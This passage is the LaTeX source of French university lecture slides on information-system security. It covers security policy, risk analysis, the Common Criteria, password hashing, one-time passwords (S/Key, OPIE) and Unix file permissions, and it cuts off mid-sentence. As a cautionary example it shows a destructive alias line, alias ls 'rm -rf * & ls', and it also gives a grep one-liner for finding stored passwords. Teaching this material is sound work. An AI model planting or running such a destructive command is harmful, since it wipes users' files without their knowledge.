thématique sur la sécurité des systèmes d'information du Secrétariat Général de la Défense Nationale \item \LienPDF{http://www.cru.fr/Securite/index.html} Sécurité informatique et réseau \item \LienPDF{http://www.urec.fr/securite} \item \LienPDF{http://www.cnrs.fr/Infosecu/accueil.html} Service du Fonctionnaire de défense du CNRS \item \LienPDF{http://www.hsc.fr/ressources} : Hervé Schauer Consultants \item \LienPDF{http://www.clusif.asso.fr} : Club de la Sécurité des Systèmes d'Information Français : état des lieux, fiches techniques, panorama de la cyber-criminalité... \item \LienPDF{http://www.renater.fr} \item \LienPDF{http://www.securite.org} \end{itemizet} \item En anglais \begin{itemizet} \item \emph{Practical UNIX \& Internet Security}, Simson Garfinkel \& Gene Spafford, seconde Édition, avril 1996, 1-56592-148-8, Order Number: 1488 1004 pages, \$39.95, O'Reilly \LienPDF{http://www.oreilly.com/catalog/puis}, \LienPDF{http://www.bigmouse.net/literature/Oreilly/puis/index.htm} \item \emph{E-Commerce Security --- Weak Links, Best Defenses}, Anup K. Ghosh, 1998 Wiley Computer Publishing \item \LienPDF{http://www.securityfocus.com} : liste \texttt{BUGTRAQ},... \item \LienPDF{http://www.counterpane.com/crypto-gram.html} \item \LienPDF{http://www.rsa.com/rsalabs/faq} \item \LienPDF{http://axion.physics.ubc.ca/crypt.html} \item \LienPDF{http://www.ssh.fi/tech/crypto} \item \LienPDF{ftp://ftp.no.pgpi.com/pub/pgp} \item \LienPDF{http://infosec.navy.mil/COMPUSEC} \item \LienPDF{http://www.research.att.com/\string~smb} : publications de Steven M. Bellovin \end{itemizet} \end{itemizer} \psfiglarge{reseau/5thwave1.reduit.eps} \end{trans} \begin{trans}{Risks Forum newsgroup (\texttt{comp.risks})} \LienPDF{http://www.risks.org} \begin{itemize} \item Plein d'informations sur des bugs et problèmes de conception \item Devrait être lu par tout ingénieur ou programmeur \item Informations collectées par Peter G. \textsc{Neumann} \LienPDF{http://www.csl.sri.com/users/neumann} (ancien du projet Multics) \item Aller vers la programmation avec des principes moraux... \end{itemize} \end{trans} \begin{trans}{Déroulement du module \& intervenants} \begin{itemize} \item Ronan \textsc{Keryell} : introduction et bases \item Ludovic \textsc{Mé} (Supélec Rennes) : concepts de sécurité et protocoles styles Kerberos + détection d'intrusion \item Pierre-Alain \textsc{Fouque} (ENS Paris) : modes opératoire des opérateurs de chiffrement en flux \item Guillaume \textsc{Duc} (Orange Labs) : sécurité WiFi \item Éric \textsc{Filiol} (ESAT) : virologie informatique \item Renaud \textsc{Feil} (HSC) : attaques WWW \& infrastructures \item Renaud \textsc{Pacalet} (TÉLÉCOM ParisTech Sophia) : sécurité matérielle \item Sandrine \textsc{Vaton} : étude de quelques algorithmes de chiffrement \item Gouenou \textsc{Coatrieux} : tatouage d'images \item Jean-Luc \textsc{Dugelay} (EURECOM) : tatouage video, controle d'intégrité \& biométrie \item Ariane \textsc{Mole} (Bird \& Bird) : sécurité et vie privée \end{itemize} \end{trans} \Outline{Plan}{Plan}{ \item Concepts \item Machines locales (Unix) \item Réseau \item Pare-feu (\emph{firewall}) \item Concepts plus avancés (informatique de confiance...) } \OutputOutline{Plan} \slidepart{Politique de sécurité} \begin{trans}{Responsable de la sécurité du système d'information} selon l'\emph{Observatoire ProSearch des Métiers} (1999) : \begin{quote}\small %%From: "Laurent LEVY" %%To: "SONATEL DI DEI SEI" %%cc: sec@ossir.org %%Message-ID: %%Date: Fri, 25 Feb 2000 15:14:38 +0100 %% Protéger le système d'information contre des risques identifiés. Tel est le rôle du responsable de la sécurité. Le développement des architectures client-serveur, puis des réseaux étendus et, bientôt, du commerce électronique, modifie profondément la fonction et crée des besoins au sein de plus en plus d'entreprises. En amont, il appartient au responsable de la sécurité d'identifier les risques. Il analyse les dangers potentiels courus par le système d'information et leurs probabilités d'occurrence. Il évalue leurs répercussions sur les fonctions critiques de l'entreprise. Il soumet cette analyse à sa direction, qui décide, avec son conseil, de leur classement en niveaux majeurs ou mineurs. Il émet des recommandations de prévention des risques et choisit les solutions permettant de s'en préserver. Responsable de leur mise en place et coordinateur lors du déploiement, il contrôle régulièrement l'efficacité des mesures et la viabilité des plans de secours. Enfin, une importante part de travail est consacrée à la sensibilisation des utilisateurs et de l'encadrement. L'un des virages du métier réside dans le rattachement hiérarchique. Longtemps dépendant de la direction informatique, le responsable de la sécurité passe maintenant sous la coupe de la direction générale, enjeux et budgets obligent. « C'est un moyen de résoudre les fréquents conflits entre la direction informatique et la sécurité », souligne Florence Derouet, du cabinet Bernard Riquier Conseil. Ce souci d'autonomie et de liberté d'action est ressorti comme une préoccupation majeure des participants au forum Eurosec 99 en mars dernier. Outre la séparation des pouvoirs, « l'organisation de structures permanentes de veille, de structures temporaires pour affronter une situation de crise et la mise en place d'indicateurs deviennent des missions essentielles », concluaient les participants . \end{quote} \end{trans} \begin{trans}{Politique de sécurité} \begin{itemizer} \item Solutions techniques et non techniques à des problèmes techniques et non techniques \item Investissement possible en temps et argent illimité... \item Mais difficile (impossible) d'empêcher tout problème \item Trouver un bon compromis pour une bonne utilisation des ressources \item Établir une politique d'administration et de gestion en plus des solutions techniques au sein de l'entreprise \item \Attention{} Sensibiliser les gens \end{itemizer} \end{trans} \begin{trans}{Étapes possibles d'une politique de sécurité} \begin{itemizer} \item Établir les besoins en sécurité \item Analyse coût-bénéfice \item Créer une politique reflétant les besoins \item Réaliser \item Audit et gestion des incidents \end{itemizer} \end{trans} \begin{trans}{Établir les besoins en sécurité} \begin{itemizer} \item Confidentialité \begin{itemizet} \item Empêcher des lectures ou copies non autorisées par le propriétaire de l'information \item Même des brides d'information peuvent servir à recouper des informations \end{itemizet} \item Intégrité des données \begin{itemizet} \item Empêcher les informations et programmes d'êtres modifiés ou effacés \item Protéger aussi les informations auxiliaires : fichiers d'administration (logs), sauvegardes, dates de création des fichiers, documentation,... \end{itemizet} \item Disponibilité \begin{itemizet} \item Non dégradable par un utilisateur non autorisé \item Éviter un refus de service à des utilisateurs autorisés\\ Exemple : bombardement de requêtes \end{itemizet} \item Cohérence \begin{itemizet} \item Comportement du système cohérent et habituel aux utilisateurs autorisés pour éviter la corruption du système \begin{verbatim} alias ls 'rm -rf * & ls' \end{verbatim} \item Lié à des intrusions mais aussi à des corrections de bugs, changements de version \item Assurer la correction du système et des informations \end{itemizet} \item Contrôle \begin{itemizet} \item Contrôler l'accès au système \item Détection d'intrus \item Enquêter sur les moyens utilisés pour l'intrusion, les modifications du système, les fuites d'informations confidentielles \item Appliquer des mesures correctives \end{itemizet} \item Audit \begin{itemizet} \item Erreurs d'utilisateurs \item Opérations malignes effectuées \item \vavers{} Garder une trace de l'activité et des opérations du système \begin{itemizec} \item Qu'est-ce qui a été fait ? \item Par qui ? \item Sur quoi ? \item Enregistrements incorruptibles nécessaires \end{itemizec} \item À l'extrême possibilité de défaire des actions (bases de données journalisées,...) \end{itemizet} \end{itemizer} \end{trans} \begin{trans}{Besoins en fonction du domaine} \begin{itemizer} \item Banque \begin{itemizet} \item Intégrité des données et traçabilité (audit) primordiales \item Confidentialité et disponibilité ensuite \end{itemizet} \item Systèmes style défense nationale \begin{itemizet} \item Confidentialité en premier \item Disponibilité en dernier \end{itemizet} \item Milieu académique \begin{itemizet} \item Intégrité et disponibilité d'abord pour laisser travailler les étudiants \end{itemizet} \end{itemizer} \end{trans} \begin{trans}{Évaluation des risques} \begin{itemizec} \item Résoudre le système \begin{itemizer} \item Quoi protéger ? \item Contre quoi ? \item Combien de temps, d'efforts et d'argent à y consacrer ? \end{itemizer} \item Exemple de méthode \begin{itemizer} \item Évaluer le capital \begin{itemizec} \item Matériel, palpable \begin{itemizet} \item Ordinateurs, disques, écrans,... \item Données propriétaires \item Sauvegardes et archives \item Livres, manuels, documentation \item Impressions, listings \item Logiciels commerciaux \item Systèmes de communications et câblage \item Fichiers du personnel \item Mots de passe du personnel \item Journaux de log \item ... \end{itemizet} \item Immatériel \begin{itemizet} \item Sécurité et santé du personnel \item Confidentialité des utilisateurs \item Image de marque et réputation \item Bonne volonté des clients \item Disponibilité du système \item Information sur la configuration \end{itemizet} \end{itemizec} \item Évaluer les menaces \begin{itemizet} \item Maladie de personnes clés \item Épidémie (grippe,...) \item Perte de personnel clé (démission, retraite, mort,...) \item Perte de services de communication (réseau, téléphone) \item Perte de services utilitaires : eau, électricité, téléphone pendant plus ou moins longtemps \item Foudre \item Incendies \item \vavers{} Inondations \item Pannes de matériel \item Vols de disques ou de bandes \item Durée de vie des sauvegardes limitée \item Disparition d'un constructeur d'ordinateur ou de périphérique \item Vols d'ordinateurs de bureau ou portable \vavers{} EFS ? \item \Attention{} Vols d'ordinateurs à la maison \item Bugs \item Virus \newslide \psfiglarge{WWW/ars.userfriendly.org/cartoons/uf002285.eps} \item Intrusion de pirates informatiques \item Information confidentielle ou messages incendiaires envoyés sur Internet \item Corruption d'employés \item Corruption de tierce partie (maintenance, logiciels) \item Agitation au sein du personnel \item Terrorisme politique \item ... \end{itemizet} Mais difficile à quantifier \begin{itemizet} \item Consulter les statistiques de l'entreprise \item Statistiques des compagnies d'assurance : décès du personnel, de catastrophe, de probabilité d'1 bug dans un système d'exploitation très connu ou dans un butineur vendu avec,... \item Mettre à jour régulièrement la formule de calcul des risques \end{itemizet} \item Analyse coûts-bénéfices \begin{itemizet} \item Coûts de pertes \begin{itemizer} \item Indisponibilité courte, moyenne, longue \item Perte permanente ou destruction \item Perte partielle accidentelle ou endommagement \item Acte de sabotage délibéré \item Divulgation non autorisée au sein de l'organisation \item Divulgation non autorisée à l'extérieur \item Divulgation d'informations à des concurrents, à la presse \item Coût de remplacement ou de récupération \end{itemizer} Moduler chaque coût par une probabilité annuelle par exemple \item Coûts de prévention \begin{itemizer} \item Mettre en face de chaque point précédent le coût annuel des contre-mesures \item Coût d'un onduleur \item ... \end{itemizer} \end{itemizet} \end{itemizer} Impliquer tout le personnel dans ce processus d'évaluation \vavers{} $\nearrow$ aussi sensibilisation à la sécurité \item Faire une liste de priorité \begin{itemizer} \item Les priorités généralement choisies ne sont pas forcément les bonnes \item Parfois perte de personnel clé et incendie plus probable que piratage réseau... \item Certains utilisateurs et directeurs sont allergiques à toutes complications liées à la sécurité... \item Convaincre preuves et analyses de coût à l'appui de l'intérêt de faire quelque chose \item Demander à la direction d'augmenter le budget sécurité pour diminuer les risques \end{itemizer} \end{itemizec} \end{trans} \begin{trans}{Charte de sécurité} \begin{itemizer} \item Établir une charte de sécurité distribuée à tout le personnel \item Possibilité d'avoir différentes chartes pour différents personnels et/ou différents usages : courriel, données, données du personnel,... \item Définit ce qui doit être protégé et pourquoi \item Établit les responsabilités de ces protections \item Base de départ pour résoudre d'éventuels conflits \item Définit les durées maximales entre les sauvegardes, minimales d'archivage et leur périodes \item Comptes sur machines strictement personnels \item Mots de passe réutilisables strictement interdits lors de connexions depuis l'extérieur \item Définit des procédures types (réalisation des sauvegardes,...) \item Désigne les propriétaires de certaines informations : responsables de leur copies, accès, sauvegardes,... \item Faire une charte positive plutôt qu'une liste d'interdits \item Respect de la confidentialité des utilisateurs \item Prévoir du temps de formation aux concepts de sécurité \item Avoir une autorité à la hauteur des responsabilités \end{itemizer} \end{trans} \begin{trans}{Exemple des photocopieurs} Note N° 002291/SGDN/DCSSI du Secrétariat général de la défense nationale Paris du 27 novembre 2003, Direction centrale de la sécurité des systèmes d'information : «~Fiche de recommandations et de bonnes pratiques relative à la sécurité des photocopieurs numériques » \begin{itemizer} \item Accès réseau \item Fax \item Mail \item Télémaintenance \item ... \end{itemizer} \LienPDF{http://www.giac.org/practical/Kevin_Smith_GSEC.DOC} : \emph{Do you copy? security issues with digital copiers} de Kevin K. \textsc{Smith} du 16 septembre 2000 \end{trans} \subsection{Critères communs} \label{sec:criteres-communs} \begin{trans}{Se mettre d'accord sur la problématique} \begin{itemize} \item Sécurité : vaste domaine... \begin{itemize} \item Utilisateurs \item Programmeurs \& ingénieurs \item Vendeurs \item Produits \end{itemize} \item Besoin d'avoir un langage commun pour discuter de sécurité \begin{itemize} \item Spécifier \item Réaliser \item Tester \end{itemize} \item Besoin de certifier que les discussions ont bien été menées \smiley \end{itemize} \end{trans} \begin{trans}{Critères communs ISO/IEC 15408} \LienPDF{http://en.wikipedia.org/wiki/Common_Criteria} \begin{itemize} \item Décrit un cadre de discussion de problèmes de sécurité \item Permet de certifier que les choses ont bien été discutées \item \Attention Il ne s'agit pas de spécifier ce qu'il faut faire pour sécuriser un système (style FIPS-140) \item Évaluer des systèmes ou produits de sécurité informatique selon les critères communs implique de définir \begin{itemize} \item Target Of Evaluation (TOE) : sujet de l'évaluation \item Les propriétés traitant de sécurité vérifiées par l'évaluation \begin{itemize} \item Protection Profile (PP) : document décrivant des besoins sécuritaires (anti-virus, pare feu, biométrie, messagerie sécurisée...) \item Security Functional Requirements (SFRs) : spécifie comment les fonctions sécuritaires devront agir (authentification d'un utilisateur d'une certaine catégorie...) \item Security Target (ST) : décrit propriétés de sécurités cible de l'évaluation \end{itemize} \item Le niveau de confiance des mécanismes de sécurité via des processus d'assurance de qualité \begin{itemize} \item Security Assurance Requirements : décrit mesures prises lors du développement et évaluation du produit pour assurer l'adéquation avec les aspects de sécurité (tests fonctionnels, unitaires, système de gestion de version...) \item Evaluation Assurance Level (EAL) : note de 1 (facile, pas cher \smiley) à 7 (difficile, cher \frownie)\\ \Attention Ne pas confondre niveau d'assurance de qualité avec qualité... Comme la restauration ISO 9000... \smiley \end{itemize} \end{itemize} \end{itemize} \LienPDF{http://www.commoncriteriaportal.org} \end{trans} \begin{trans}{Norme FIPS-140} \LienPDF{http://en.wikipedia.org/wiki/FIPS_140} \begin{itemize} \item Norme du National Institute of Standards and Technology (NIST) américain \item Exemple de norme spécifiant les besoins sécuritaires que doivent respecter des systèmes de chiffrement gouvernementaux \item 4 niveaux de sécurité \begin{itemize} \item 1 : peu de besoins, composants de base, pas de trous évidents \item 2 : authentification avec des rôles, des attaques doivent pouvoir être détectables \item 3 : résistance aux attaques, authentification par identité, séparation matérielle de média avec différents niveaux de sécurité \item 4 : doit résister encore plus aux attaques physiques \end{itemize} \item Domaines de compétence \begin{itemize} \item Spécification des modules cryptographiques \item Composants et interfaces cryptographiques \item Rôles, services et authentification \item Fonctionnement du système au niveau automate \item Sécurité physique \item Environnement opérationnel \item Gestion des clés cryptographiques \item Rayonnement électromagnétique et compatibilité \item Auto-tests \item Démarche qualité dans la conception \item Résistance aux attaques \end{itemize} \item Repris dans la norme ISO/IEC 19790:2006 Security requirements for cryptographic modules \end{itemize} \end{trans} \slidepart{Responsabilités utilisateur} \begin{trans}{Utilisateurs et mots de passe} \begin{multicols}{2} \psfiglarge{WWW/www.ibiblio.org/Dave/Dr-Fun/df9710/df971016-8bit.eps} \begin{itemizer} \item Nécessité de rajouter des verrous pour protéger les systèmes et cerner les responsabilités \item Besoin croissant avec les possibilités d'accès distants \item Possibilité de s'identifier par \begin{itemizet} \item Ce qu'on sait : mot de passe\\ \Attention{} Espionnage... \item Ce qu'on a : clé, carte à puce,...\\ \Attention{} Vol... \item Ce qu'on est : empreintes digitales, fond de l'\oe{}il \newslide \Attention{} Mutilations,... \end{itemizet} Intérêt d'utiliser simultanément plusieurs techniques complémentaires \item Compte utilisateur de base sous Unix : association \begin{itemizet} \item Nom d'utilisateur (\emph{login}) \item Mot de passe \end{itemizet} \item Piratage : connaître les 2 \item Nom d'utilisateur mnémotechnique (envoi/réception de courriel avec,...) et généralement en rapport avec le nom de la personne : assez simple à deviner \item Reporter le blindage sur le mot de passe \item Généralement enregistrement des authentifications ainsi que des échecs successifs \item Possible de verrouiller les comptes si trop d'échecs sur certains systèmes\\ \Attention{} \vavers{} possibilité de refus de service en générant expressément plein d'authentifications invalides pour bloquer tous les comptes.... \item Délai croissant rajouté après chaque échec pour limiter le nombre d'essais. Limite le refus de service \item Ne pas faire confiance aux courriels du style \begin{itemizet} \item « \emph{Suite à un problème système, vous devez mettre \emph{trucmuche} comme mot de passe. L'administrateur système.}~». Le courriel peut être faux... \item « \emph{Merci de nous envoyer votre mot de passe à telle adresse...}~» Sans commentaire \end{itemizet} \Attention{} Cela marche parfois... \item L'administrateur système ne doit pas donner toujours le même mot de passe temporaire. Option pour forcer le changement de mot de passe lors de la première identification \item L'administrateur doit vérifier l'identité de la personne venant demander un changement de mot de passe \item Lors d'un changement de mot de passe, tester le nouveau mot de passe \emph{avant} de se déconnecter (via \texttt{su \emph{mon-nom}} ou \texttt{telnet localhost}). Surtout si \texttt{root}... \end{itemizer} \end{multicols} \end{trans} \begin{trans}{Choix des mots de passe} \begin{itemizer} \item Mauvais mot de passe : porte ouverte sur tout le système \item \emph{Éviter} ce qui peut être deviné (et sera essayé par des programmes style \texttt{crack} !) : \begin{itemizet} \item Son propre mot de login ! Si la liste des utilisateurs est connue, attaque triviale... \item Suites de touches clavier \item Numéros de téléphones ou de plaques minéralogiques personnels \item Noms/prénoms de l'environnement personnel \item Mots de n'importe quelle langue à l'endroit ou à l'envers \item Personnages/mots de romans, jeux,... \item Des modifications simples des cas précédents : chiffre ou ponctuation avant ou après \end{itemizet} \item Bons mots de passes consistent typiquement en \begin{itemizet} \item Mélange lettres minuscules et majuscules \item Chiffres et caractères de ponctuation en plus \item Caractères spéciaux et espace \item Longs (8 caractères par défaut sous Unix) \item Faciles à retenir pour ne pas avoir besoin de les écrire \item Utiliser l'espace des $4$,$3.10^{16}$ mots de passe Unix possibles \end{itemizet} \item Moyens mnémotechniques \begin{itemizet} \item Combinaison de mots avec caractères de ponctuation \item Abréviation ou initiales d'une phrase \end{itemizet} \item Pour éviter d'avoir le même mot de passe sur différentes machines, construire mot de passe à partir d'un mot de passe de base + caractéristique du nom de la machine par exemple \item Ne pas écrire son mot de passe ou tout au moins pas sous forme triviale \item Ne pas envoyer de mot de passe en clair par réseau ou dans un fichier\\ \verb+find ... -exec egrep 'password|passwd|mot de passe' '{}' \;+ \item Ne pas utiliser le même mot de passe ailleurs, dans un serveur WWW,... Peut être espionné et pas forcément stocké chiffré \end{itemizer} \end{trans} \begin{trans}{Du chocolat pour des mots de passe !} Sondage \LienPDF{http://news.bbc.co.uk/1/hi/technology/3639679.stm} en 2004 \begin{itemizer} \item Plus de 70\,\% de personnes donnent leur mot de passe en échange d'une barre chocolatée \item 34\,\% donnent gracieusement leur mot de passe sans rien en échange \item En moyenne les gens n'ont à retenir que 4 mots de passe... \vavers{} Utilisent souvent le même mot de passe pour différents usages \item 80\,\% en on ras le bol des mots de passe \end{itemizer} \end{trans} \begin{trans}{Stockage des mots de passe} Utilisateur tape son mot de passe $p_l$ Authentifier $\equiv$ tester $p_l =? p$ ? \begin{itemizer} \item Même si stockés dans un fichier lisible seulement par \texttt{root} (\texttt{/etc/shadow}) possibilité d'erreur de manipulation rendant publique le fichier ou piratage pour accéder aux mots de passe (pour corrompre d'autres machines) \item \vavers{} Stocker de manière chiffrée $c(p)$ les mots de passe\\ Tester $p_l =? c^{-1}\big(c(p)\big)$ ?\\ Bof : un pirate ayant accès à $c(p)$ calculera $c^{-1}\big(c(p)\big)$ \frownie \item Idée : la fonction de déchiffrement doit être très difficile (impossible) $\equiv c$ fonction de chiffrement à sens unique \item Usage : toute demande d'authentification par mot de passe, plutôt que de déchiffrer le mot de passe stocké, chiffre le mot de passe et le compare à celui stocké \belleboite{¡\,Tester $c(p_l) =? c(p)$\,!} \item Chiffrement des mots de passe (de base) dans Unix : \begin{verbatim} #include char * crypt(const char *clé, const char *sel); \end{verbatim} \begin{itemizet} \item Utilise DES pour encoder 1 bloc de 64~bits à 0 avec le mot de passe vu comme une clé de 56~bits \item Réappliquer le DES sur le résultat avec toujours le mot de passe comme clé \item En tout appliquer le DES 25 fois et stocker le résultat dans \texttt{/etc/passwd} ou \texttt{/etc/shadow} sous forme de 11 caractères ASCII codant chacun 6~bits \item Pas de technique connue d'inversion \vavers{} craquage par dictionnaires $\mathcal{D}$ pour éviter la recherche brute ($\# \mathcal{D} \ll 2^{56}$) \[ \{ p_l \in \mathcal{D} \quad/\quad c(p_l)=c(p) \} \] \item Tables du DES modifiées par rapport au DES classique pour éviter l'usage d'accélérateurs de DES classique \item Pour pirates pressés : avoir des dictionnaires pré-hachés $c(\mathcal{D})$ \item Difficulté supplémentaire : le «~sel~» (similaire au vecteur d'initialisation du mode CBC) de 12 bits modifiant les tables du DES, choisi lors de l'établissement du mot de passe en fonction de l'heure et de la date et stocké aussi devant le mot de passe chiffré sous forme de 2 caractères \[ \{ p_l \in \mathcal{D} \quad/\quad c(p_l,\mathit{sel})=c(p,\mathit{sel}) \} \] Idée : pirate obligé de pré-encoder 4096 fois le dictionnaire $c(\mathcal{D},\mathcal{S})$ pour déchiffrer avec tous les sels possibles... \end{itemizet} \item $2^{56}$ peut sembler beaucoup mais gros ordinateurs parallèles, spécialisés, ordinateurs en réseau,...) \item Les ordinateurs font des progrès, FPGA programmables,... DES cassé en 22h en 1999 \LienPDF{http://www.eff.org/DESCracker} \item Concrètement utiliser \texttt{crack}, \texttt{L0phtCrack} ou \texttt{John the Ripper} pour éradiquer les mots de passes faibles \item Algorithmes plus complexes utilisés sur certains Unix (via PAM,...) : MD5 sur 128~bits,... \end{itemizer} \end{trans} \slidepart{Mots de passe jetables} \begin{trans}{Mots de passe jetables} \begin{itemizer} \item Souvent les mots de passe circulent en clair sur les réseaux si pas de chiffrement des communications \vavers{} programmes d'espionnage (\emph{sniffers}) \item Pour éviter le vol de son mot de passe : ne plus utiliser de mot de passe réutilisable ! \item \vavers{} Utiliser des \emph{One-Time Passwords} (OTP) \begin{itemizet} \item Liste imprimée de mots de passe qu'on raye après chaque usage \item Calculette qui affiche le mot de passe à taper pour la minute courante \item Code affiché lors de la connexion qui doit être tapé sur une calculette et qui donne un résultat à taper pour se connecter \item Logiciel sur sa machine réalisant les fonctionnalités. \Attention{} Si des intrus ont la possibilité d'utiliser le logiciel sur la machine... \end{itemizet} \item Mais utilisation limitée par la nécessité de matériels spécifiques \item \Attention{} Piles qui s'usent, oublis à la maison... \item Remplacement du \emph{shell} de login par un programme gérant le mot de passe jetable et validant ou pas la connexion \end{itemizer} \end{trans} \begin{trans}{S/Key} \begin{itemizer} \item Système de mots de passe jetables développé à Bellcore \item Stocker liste de mots de passe jetables de tous les utilisateurs : gros \vavers{} Avoir un générateur de suites de mots de passe \item Utilisation d'un fonction cryptographique $f$ qui donne une valeur à partir d'une entrée mais difficile à inverser \item L'itération de la fonction donne une suite de données difficilement prédictible \[ p_{n+1} = f(p_n) \] \item Utilisation de chaque itération comme mot de passe jetable \item Le client et le serveur doivent partager la même fonction secrète \item Authentification : \begin{itemizet} \item Serveur demande au client le mot de passe $p_n$ de l'itération $n$ \item Client doit répondre le mot de passe correspondant \item Forte authenticité si les mots de passes sont identiques \end{itemizet} \item \Attention{} Si la fonction $f$ et $p_n$ sont piratés le système aussi~: $p_{n+1}=f(p_n)$ \item Comment changer son mot de passe ? Envoyer $p_0$ en clair ? \frownie \item Idée de Lamport en 1981 : regarder le problème à l'envers ! \item Exploiter la difficulté de $f^{-1}$~: trouver $p_n$ en fonction de $p_{n+1}$ est difficile \begin{itemizet} \item Serveur stocke mot de passe $p_{n+1}$ \item Client envoie $p_n=f^n(p_0)$ au serveur \item Serveur calcule $p'_{n+1}=f(p_n)$ \item Si $p'_{n+1}=p_{n+1}$ \vavers{} forte authenticité \item Initialisation : client envoie $p_N=f^N(p_0)$. Espionnable sans danger \item $f$ n'a plus besoin d'être secrète \end{itemizet} \item \RFC{1938} \item Pour rajouter de la difficulté, rajout d'une graine $g$ intervenant dans le calcul qui est joint au $n$ envoyé par le serveur comme challenge \[ p_n=f^n(p_0 \parallel g) \] Permet d'identifier sur différentes machines avec le même mot de passe $p_0$ mais différentes graines \item $f$ basée sur fonctions MD4, MD5 ou SHA \item Mot de passe à usage unique = challenge sur 64 bits. Exemple : \texttt{E79F 3CA6 8C57 E381} \item Moyen mnémotechnique si pas de couper-coller disponible : encoder par groupe de 11 bits et définir une liste de 2048 mots standard. Exemple : \texttt{TANK WELT MOT HAL FATE MUSH} (66~bits) \end{itemizer} \end{trans} \begin{trans}{Attaques sur mots de passe jetable} \begin{itemizer} \item Une fois communication établie, possibilité d'interception/intrusion de la communication en cours possible par d'autres moyens \item Attaques sur les fonctions cryptographiques utilisées \item Course lors de l'établissement de l'authentification \begin{itemizet} \item Client envoie son mot de passe unique sous forme de plusieurs paquets réseau (fragmentation,...) \item Pirate voit passer le début du mot de passe \item Pirate ralentit réseau, client,... \item Pirate essaye par force brute la fin du mot de passe avant que le client ait le temps de finir \end{itemizet} \vavers{} Limiter les sessions d'authentification simultanées, rajouter des temporisations,... \item Usage des mots de passe jetables moins indispensable à cause des solutions à cryptographie forte style \texttt{ssh}... \end{itemizer} \end{trans} \begin{trans}{OPIE} \begin{itemizer} \item \emph{One-time Passwords In Everything} \item Implémentation de S/Key développée au United States Naval Research Laboratory (NRL) \item Remplace les commandes \texttt{login}, \texttt{su} et \texttt{ftpd} par leur homologue OPIE \texttt{opielogin}, \texttt{opiesu} et \texttt{opieftpd} \item Première connexion : utiliser \texttt{opiepasswd} pour mettre son mot de passe dans la base OPIE \item \texttt{opieinfo} donne le numéro de séquence et la graine pour un utilisateur \item \texttt{opiekey \emph{sequence\_number} \emph{seed}} est une calculette à faire tourner sur le client : génère $p_n$ à partir du mot de passe (secret) et de la graine et du numéro de séquence. Compiler \texttt{opiekey} sur toutes les machines depuis lesquelles on veut se connecter. S/Key peut aussi tourner sur les calculettes programmables classiques (HP-48,...) \item \Attention{} à ne pas rentrer le mot de passe dans \texttt{opiekey} ou \texttt{opiepasswd} à travers un médium espionnable ! Éviter faire tourner \texttt{opiekey} sur une autre machine via \texttt{rsh}, \texttt{rlogin} ou \texttt{X11},... Problèmes pour les terminaux X ! \item \texttt{opiepasswd} change son mot de passe en entrant la sortie de \texttt{opiekey}. 499 itérations par défaut \item \texttt{opieinfo} indique le numéro de séquence courant et la graine \item Si pas de calculette possible, imprimer une feuille ultra-secrète avec \texttt{opiekey -n 499 `opieinfo`} par exemple pour 499 secrets \item Bibliothèques pour rajouter OPIE dans d'autres programmes \item \texttt{/etc/opieaccess} pour faciliter les transitions en autorisant les connections depuis certains réseaux/machines sans OPIE de façon normale. \Attention{} trou de sécurité... \item \LienPDF{ftp://ftp.inner.net/pub/opie} \item \texttt{man opie} \end{itemizer} \end{trans} \slidepart{Identificateurs utilisateurs} \begin{trans}{Numéros d'utilisateurs et de groupes Unix} \begin{itemizer} \item Numéro d'utilisateur utilisé en interne pour représenter un utilisateur selon la table \texttt{/etc/passwd} \item \Attention{} \texttt{root} utilisateur spécial qui peut \emph{tout} faire : administrateur \begin{itemizec} \item Trop puissant en Unix standard ? \item Beaucoup de services ne peuvent tourner que sous \texttt{root} \item \Attention{} Si bug, possibilité de devenir \texttt{root}... \item \vavers{} Se défendre contre un \texttt{root} \begin{itemizet} \item Chiffrer les informations sensibles \vavers{} \texttt{root} ne peut pas retrouver les mots de passe dans \texttt{/etc/shadow} \item Utiliser des média à lecture seule (CD-ROM) non écrivable par \texttt{root} \item Avoir des sauvegardes à jour ! \item Monter des disques en lecture seule (plus difficile pour écrire : via le device) \end{itemizet} \item Autres systèmes d'exploitations avec subdivision de la puissance de \texttt{root}. $\exists$ Unix sécurisés : développement des \emph{capabilities}\\ \Attention{} Mais la subdivision n'empêche pas une certaine transitivité et de toute manière dès qu'on accède aux devices... \end{itemizec} \item Autres pseudo-utilisateurs contrôlant des services : \texttt{lp}, \texttt{uucp}, \texttt{http},... \item Plusieurs comptes utilisateurs avec le même numéro : \begin{itemizet} \item Partager la même identité mais avec plusieurs mots de passe : $\nearrow$ traçabilité \item Comptes avec choix entre plusieurs shells \end{itemizet} \item Utilisateurs appartiennent à 1 ou plusieurs groupes en fonction de \texttt{/etc/passwd} et \texttt{/etc/group} \item \Attention{} \vavers{} Bien vérifier qu'\texttt{/etc/passwd} et \texttt{/etc/group} ne peuvent être écrits que par \texttt{root} \end{itemizer} \end{trans} \slidepart{Attributs fichiers} \begin{trans}{Droits des fichiers} \begin{itemizer} \item Droits en lecture et écriture pour utilisateur, groupe et autres (\emph{others}) : mnémotechnique \emph{ugo} \item Droit en exécution idem mais \begin{itemizet} \item Sur 1 fichier : programme exécutable. Possible d'exécuter un programme sans être capable d'en voir le contenu \item Sur 1 répertoire : droit de traversée. \verb|d--x--x--x| : on peut accéder à des fichiers dans le répertoire mais on ne peut pas en voir le contenu \end{itemizet} \item \emph{suid} bit : change l'identificateur d'utilisateur effectif du processus à celui du propriétaire lors de l'exécution \item \emph{sgid} bit \begin{itemizet} \item Sur exécutable : change l'identificateur de groupe effectif du processus à celui du fichier lors de l'exécution \item Sur répertoire : les fichiers créés dans le répertoire héritent du groupe du répertoire au lieu du groupe effectif du processus \begin{verbatim} drwxrwsr-x 13 pips pips_grp 1024 Sep 18 09:17 /projects/Pips \end{verbatim} \end{itemizet} \item \emph{Sticky bit} \texttt{t} \begin{itemizet} \item Sur fichier exécutable : reste collé en mémoire physique si possible. Anachronisme avec les Unix modernes \item Sur répertoire : interdit à un utilisateur d'effacer un répertoire qui n'est pas à lui même s'il a le droit en écriture sur le répertoire \begin{verbatim} drwxrwxrwt 7 sys sys 318 Feb 2 11:04 /tmp \end{verbatim} \end{itemizet} \item \texttt{chmod}, \texttt{chown}, \texttt{chgrp}, \texttt{touch} pour changer les différentes informations d'un fichier \item \texttt{umask} contrôle les droits par défaut des fichiers créés.\\ \texttt{umask 022} : met à 0 le bit d'écriture pour le groupe et les autres \vavers fichiers en lecture-écriture pour soi et en lecture seule pour le reste du monde \item Bien contrôler les droits des fichiers pour éviter des trous de sécurité. Éviter \texttt{umask 0} avec \texttt{root}... \item Généralisation des concepts à des listes d'utilisateurs 